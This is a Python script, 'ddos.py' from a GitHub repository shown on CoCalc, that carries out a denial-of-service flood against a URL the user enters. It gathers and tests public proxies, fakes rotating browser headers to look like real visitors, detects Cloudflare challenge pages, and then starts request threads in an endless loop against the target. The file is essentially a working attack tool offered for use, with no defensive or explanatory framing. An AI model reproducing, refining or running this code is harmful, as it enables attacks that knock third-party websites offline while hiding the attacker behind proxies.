Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
mishakorzik
GitHub Repository: mishakorzik/py-ddoser
Path: blob/main/ddos.py
44 views
1
#!/usr/bin/python3
2
import threading, urllib3, random, json, time, sys, os
3
4
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
5
6
__version__ = "1.1.1"
7
__build__ = "stable"
8
9
10
pool = urllib3.PoolManager(headers={"User-Agent": "Mozilla/5.0"})
11
working = []
12
iphosts = [
13
'https://ipinfo.io/ip',
14
'https://ifconfig.io/ip']
15
16
def logo():
17
os.system("clear")
18
print(f" __ __ ")
19
print(f" ____ __ __ ____/ /___/ /___ ________ _____")
20
print(r" / __ \/ / / /_____/ __ / __ / __ \/ ___/ _ \/ ___/")
21
print(f" / /_/ / /_/ /_____/ /_/ / /_/ / /_/ (__ ) __/ /")
22
print(r" / .___/\__, / \__,_/\__,_/\____/____/\___/_/")
23
print(f"/_/ /____/ by mishakorzik")
24
print(f" {__version__} {__build__}")
25
print(f"")
26
27
def version():
28
print(f"\033[01;32m[\033[0m+\033[01;32m]\033[0m Checking for updates")
29
try:
30
resp = pool.request("GET", "https://raw.githubusercontent.com/mishakorzik/py-ddoser/refs/heads/main/version.txt", timeout=5.0).data.decode("utf-8", errors="ignore").replace(" ", "").replace("\n", "")
31
if __version__ == resp:
32
print(f"\033[01;32m[\033[0m+\033[01;32m]\033[0m No update found")
33
else:
34
print(f"\033[01;32m[\033[0m+\033[01;32m]\033[0m Available a new version '{resp}', update please")
35
except:
36
print(f"\033[01;31m[\033[0m-\033[01;31m]\033[0m Failed to check for updates")
37
38
# headers generator
39
def generate():
40
headers = {}
41
user_agent = [
42
("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36", '"Chromium";v="136", "Google Chrome";v="136", "Not A(Brand)";v="99"', "Windows"),
43
("Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36", '"Chromium";v="136", "Google Chrome";v="136", "Not A(Brand)";v="99"', "macOS"),
44
("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.3", '"Chromium";v="134", "Google Chrome";v="134", "Not A(Brand)";v="99"', "Linux"),
45
("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 OPR/117.0.0.", '"Chromium";v="132", "Opera";v="117", "Not A(Brand)";v="99"', "Windows"),
46
("Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0", None, "Windows"),
47
("Mozilla/5.0 (Macintosh; Intel Mac OS X 14.7; rv:138.0) Gecko/20100101 Firefox/138.0", None, "macOS"),
48
("Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0", None, "Linux"),
49
("Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0", None, "Linux"),
50
("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 OPR/119.0.0.0", '"Chromium";v="136", "Opera";v="119", "Not A(Brand)";v="99"', "Windows"),
51
("Mozilla/5.0 (Macintosh; Intel Mac OS X 14_7_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 OPR/119.0.0.0", '"Chromium";v="136", "Opera";v="119", "Not A(Brand)";v="99"', "macOS"),
52
("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 OPR/119.0.0.0", '"Chromium";v="136", "Opera";v="119", "Not A(Brand)";v="99"', "Linux"),
53
("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Edg/136.0.3240.64", '"Chromium";v="136", "Microsoft Edge";v="136", "Not A(Brand)";v="99"', "Windows"),
54
("Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Edg/136.0.3240.64", '"Chromium";v="136", "Microsoft Edge";v="136", "Not A(Brand)";v="99"', "macOS"),
55
("Mozilla/5.0 (X11; CrOS x86_64 16181.61.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.6998.198 Safari/537.36", '"Chromium";v="134", "Google Chrome";v="134", "Not A(Brand)";v="99"', "Chrome OS"),
56
("Mozilla/5.0 (X11; CrOS aarch64 16181.61.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.6998.198 Safari/537.36", '"Chromium";v="134", "Google Chrome";v="134", "Not A(Brand)";v="99"', "Chrome OS"),
57
("Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36", '"Chromium";v="136", "Google Chrome";v="136", "Not A(Brand)";v="99"', "Windows")
58
]
59
60
ua = random.choice(user_agent)
61
headers["User-Agent"] = ua[0]
62
headers["Accept"] = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8"
63
headers["Accept-Encoding"] = random.choice(["gzip, deflate, br", "gzip, deflate, br, zstd"])
64
headers["Accept-Language"] = random.choice(["hu-HU,hu;q=0.9,en-US;q=0.8,en;q=0.7", "ar-SA,ar;q=0.9,en-US;q=0.8,en;q=0.7", "ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7", "pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7", "fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7", "de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7", "fr-CA,fr;q=0.9,en-CA;q=0.8,en;q=0.7", "sv-SE,sv;q=0.9,nb-NO;q=0.8,en-US;q=0.7,en;q=0.6", "zh-CN,zh;q=0.9,en;q=0.8", "en-IN,en;q=0.9,hi;q=0.8,bn;q=0.7", "en-US,en;q=0.9", "en-US,en;q=0.5"])
65
headers["Cache-Control"] = "max-age=0"
66
if ua[1]:
67
headers["Sec-Ch-Ua"] = ua[1]
68
headers["Sec-Ch-Ua-Mobile"] = "?0"
69
headers["Sec-Ch-Ua-Platform"] = ua[2]
70
headers["Sec-Fetch-Dest"] = "document"
71
headers["Sec-Fetch-Mode"] = "navigate"
72
headers["Sec-Fetch-Site"] = "none"
73
headers["Sec-Fetch-User"] = "?1"
74
headers["Upgrade-Insecure-Requests"] = "1"
75
headers["Connection"] = "keep-alive"
76
return headers
77
78
def check(prx):
79
try:
80
resp = urllib3.ProxyManager(
81
proxy_url=f"http://{prx}",
82
timeout=urllib3.util.Timeout(connect=7.0, read=7.0),
83
headers={"User-Agent": "Mozilla/5.0"},
84
retries=False,
85
cert_reqs='NONE'
86
).request('GET', random.choice(iphosts))
87
print(f"\033[01;32mFound working proxy: {prx}\033[0m")
88
working.append(prx)
89
except:
90
pass
91
92
def checker(prx, proxy):
93
if prx == "":
94
for proxy in proxy:
95
threading.Thread(target=check, args=(proxy, ), daemon=True).start()
96
if len(working) >= 50:
97
time.sleep(0.1)
98
else:
99
for proxy in proxy:
100
threading.Thread(target=check, args=(proxy, ), daemon=True).start()
101
102
def http(url, proxy):
103
try:
104
resp = urllib3.ProxyManager(
105
proxy_url=f"http://{proxy}",
106
timeout=urllib3.util.Timeout(connect=7.0, read=7.0),
107
headers=generate(),
108
retries=False,
109
cert_reqs='NONE'
110
).request('GET', url)
111
112
cod = f"\033[0m{resp.status}\033[0m" if (100 <= resp.status <= 199) else f"\033[01;32m{resp.status}\033[0m" if (200 <= resp.status <= 299) else f"\033[01;33m{resp.status}\033[0m" if (300 <= resp.status <= 399) else f"\033[01;31m{resp.status}\033[0m" if (400 <= resp.status <= 499) else f"\033[01;35m{resp.status}\033[0m"
113
if (b"<title>Just a moment...</title>" in resp.data and b"Enable JavaScript and cookies to continue" in resp.data) or b"<title>Attention Required! | Cloudflare</title>" in resp.data:
114
print(f"{proxy}: request sent over \033[01;36mHTTP/1.1\033[0m ({cod}), size {len(resp.data)} B (\033[01;31mcloudflare\033[0m)")
115
else:
116
print(f"{proxy}: request sent over \033[01;36mHTTP/1.1\033[0m ({cod}), size {len(resp.data)} B")
117
except:
118
pass
119
120
def main():
121
try:
122
url = str(input(f"\033[01;33m[\033[0m?\033[01;33m]\033[0m Enter target (\033[01;34mex.\033[0m https://example.com):\033[01;34m "))
123
if "://" not in url:
124
print(f"\033[01;31m[\033[0m-\033[01;31m]\033[0m Invalid url")
125
sys.exit(1)
126
prx = str(input(f"\033[01;33m[\033[0m?\033[01;33m]\033[0m Enter proxy file ('Enter' to search):\033[01;34m "))
127
if prx == "":
128
proxy1 = pool.request("GET","https://api.proxyscrape.com/v2/?request=displayproxies&protocol=http&timeout=8000&country=all&ssl=all&anonymity=all",timeout=10.0).data.decode().split()
129
proxy2 = pool.request("GET","https://raw.githubusercontent.com/MuRongPIG/Proxy-Master/refs/heads/main/http.txt",timeout=10.0).data.decode().split()
130
proxy = list(set(proxy1 + proxy2))
131
try: proxy.remove("")
132
except: pass
133
try: proxy.remove("")
134
except: pass
135
threading.Thread(target=checker, args=(prx, proxy, ), daemon=True).start()
136
print(f"\033[01;32m[\033[0m+\033[01;32m]\033[0m Found proxies: {len(proxy)}")
137
del proxy, proxy1, proxy2
138
else:
139
file = open(prx, "r")
140
proxy = list(set(file.read().split()))
141
file.close()
142
try: proxy.remove("")
143
except: pass
144
try: proxy.remove("")
145
except: pass
146
threading.Thread(target=checker, args=(prx, proxy, ), daemon=True).start()
147
print(f"\033[01;32m[\033[0m+\033[01;32m]\033[0m Found proxies: {len(proxy)}")
148
del proxy
149
150
if prx == "":
151
print(f"\033[01;32m[\033[0m+\033[01;32m]\033[0m Checking (≈30 seconds)")
152
while True:
153
if len(working) >= 50:
154
break
155
time.sleep(1)
156
else:
157
print(f"\033[01;32m[\033[0m+\033[01;32m]\033[0m Checking (≈10 seconds)")
158
time.sleep(10)
159
print(f"\033[01;32m[\033[0m+\033[01;32m]\033[0m Attacking")
160
while True:
161
threading.Thread(target=http, args=(url, random.choice(working)), daemon=True).start()
162
except KeyboardInterrupt:
163
print(f"\033[01;31m[\033[0m-\033[01;31m]\033[0m Exiting")
164
except Exception as e:
165
print(f"\033[01;31m[\033[0m-\033[01;31m]\033[0m Error: {e}")
166
167
if __name__ == "__main__":
168
logo()
169
version()
170
main()
171
172